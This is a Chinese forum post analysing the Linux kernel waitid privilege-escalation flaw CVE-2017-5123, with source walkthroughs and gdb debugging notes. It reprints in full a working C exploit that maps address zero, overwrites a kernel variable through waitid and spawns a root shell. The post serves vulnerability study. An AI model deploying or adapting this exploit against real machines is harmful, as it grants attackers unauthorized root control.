首页
论坛
课程
招聘
[原创]CVE-2017-5123 waitid本地提权分析
2018-9-26 15:34 7655

[原创]CVE-2017-5123 waitid本地提权分析

2018-9-26 15:34
7655

CVE-2017-5123分析

最近研究linux kernel pwn的时候发现网上有的文章对cve-2017-5123的分析存在错误,就想着自己复现一下写篇博客,最简单的利用exp无 smep

漏洞代码分析

waitid源码

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
	struct rusage r;
	struct waitid_info info = {.status = 0};
	long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
	int signo = 0;
	if (err > 0) {
		signo = SIGCHLD;
		err = 0;
	}
	if (!err) {
		if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
			return -EFAULT;
	}
	if (!infop)
		return err;
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user((short)info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();
	return err;
Efault:
	user_access_end();
	return -EFAULT;
}


内核定义了一系列函数与用户态内存进行交互,包括copy_from_user ,copy_to_user,put_user等,这些函数中会调用access_ok检查传入的地址是否属于用户区,之后调用user_access_begin() user_access_end分别开启和禁用smap。为了减少检查开销,linux内核定义了unsafe_put_user函数,但waitid在调用前没有进行access_ok检查,因此可以传入内核地址,任意内核写,但是利用条件会将第一个int写为0x11,第二个int写为0.因此采取的方法是改写have_canfork_callback变量。将其第一个字节改为0x11进而执行未定义的can_fork,并mmap 0地址,写入shellcode。完成提权。 此次利用必须在关闭了mmap_min_addr 和 smep保护的前提下。 参照github上的利用代码进行分析 https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c

fork利用过程

fork源码分析

fork系统调用最终会调用do_fork,在do_fork中,会调用copy_process函数为子进程复制一份进程信息。
copy_process源码中调用了cgroup_can_fork函数。




cgroup_can_fork函数中调用了do_each_subsys_mask()

do_each_subsys_mask会调用for_each_set_bit函数


for_each_set_bit会调用find_first_bit和find_next_bit,会搜索传入的have_canfork_callback变量,最终返回值ssid是位图中小于cgrou_subsys_count的最后一位1的索引值。


cgroup_subsys是一个全局的cgroup_subsys struct的数组,其中保存了一系列函数指针。cgroup需要用户自定义,未定以,其can_fork函数指针为null。cgroup_can_fork也不会调用cgroup_subsys的can_fork,而是直接返回0。但是waitid将第一个字节改写为0x11 即010001。默认的CGROUP_SUBSYS_COUNT值为4,因此会调用第一个cgroup_subsys的canfork,即0地址。此时,利用代码mmap了0地址,并将shellcode放置在0地址处,fork即可劫持控制流,完成提权。

具体调试过程

采用qume起系统,gdb调试

用这个脚本生成kallsyms

在kallsyms中搜索cgroup_can_fork地址,并在gdb中下断点。

随便运行一条命令,bash会调用fork,在我们的断点处停下,查看汇编代码:



0xffffffff81f3f45a处即为全局变量have_canfork_callback变量。之后打印调用了find_first_bit之后的返回值


可以看到,如果返回值大于三即跳转到结束处。可见cgroup_subsys全局数组的数量默认是4个。如果小于3,继续执行



r12的值为0xffffffff81e4bb60,为全局cgroup_subsys数组,



普通的fork默认是没有定义cgroup的can_fork,因此have_canfork_callback的值为0x0000000000,其返回值为4,因为传入的参数为4,大于3,直接跳转至结束处




当利用waitid漏洞之后,再看全局变量:


全局变量已经变为0x11,即10001,调用find_first_bit返回值变为0x0,


查看第一个cgroup_subsys的can_fork(偏移量0x50)


发现已经是0x000

利用脚本分析

本次分析的是github上的漏洞利用代码:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>

struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}

int main(int ac, char **av)
{
	static const unsigned char shellcode[] = {
		0xFF, 0x24, 0x25, 0x08, 0x00, 0x00, 0x00, 0x00,
	};

	if (ac != 2) {
		printf("./exploit kernel_offset\n");
		printf("exemple = 0xffffffff81f3f45a");
		return EXIT_FAILURE;
	}

	// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
	prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
	commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
	// have_canfork_callback offset <= rendre dynamique aussi
	
	pid_t     pid;
	/* siginfo_t info; */

	// 1 - Mapper la mmoire  l'adresse 0x0000000000000000
	printf("[+] Try to allocat 0x00000000...\n");
	if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
		printf("[-] Failed to allocat 0x00000000\n");
		return -1;
	}
	printf("[+] Allocation success !\n");

	memcpy(0, shellcode, sizeof(shellcode));
	*(unsigned long*)sizeof(shellcode) = (unsigned long)get_root;

	if(-1 == (pid = fork())) {
		perror("fork()");
		return EXIT_FAILURE;
	}

	if(pid == 0) {
		_exit(0xDEADBEEF);
		perror("son");
		return EXIT_FAILURE;
	}

	siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
	waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
	pid = fork();
	printf("fork_ret = %d\n", pid);	
	if (pid > 0)
		get_shell();
	return EXIT_SUCCESS;
}

简单说一下流程:mmap 0地址,之后将shellcode放入:

0xFF, 0x24, 0x25, 0x08,
并将getroot的地址放入,直接跳转到getroot执行,之后调用system在root下产生一个shell,完成提权。

参考:

https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c

https://paper.seebug.org/451/

http://blog.luoyuanhang.com/2015/07/27/分析Linux内核创建一个新进程的过程/


[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

最后于 2018-9-26 16:12 被obfuscation编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 1573
活跃值: 活跃值 (183)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 活跃值 3 2018-9-26 15:56
2
0
https://github.com/nongiach/CVE  这里是完整复现cve的材料
雪    币: 10169
活跃值: 活跃值 (13001)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2018-9-26 21:57
3
0
若涉及到相关实例或附件,建议一起上传。
雪    币: 1
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
汪星i 活跃值 2018-11-1 10:09
4
0
楼主咋样才可以联系你呀
雪    币: 1573
活跃值: 活跃值 (183)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
obfuscation 活跃值 3 2018-11-7 23:51
5
0
汪星i 楼主咋样才可以联系你呀
欢迎交流啊,可以私信给我
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lbbb 活跃值 2019-2-2 09:39
6
0
楼主,请问生成kallsyms 的脚本是什么啊
最后于 2019-2-2 15:20 被lbbb编辑 ,原因:
游客
登录 | 注册 方可回帖
返回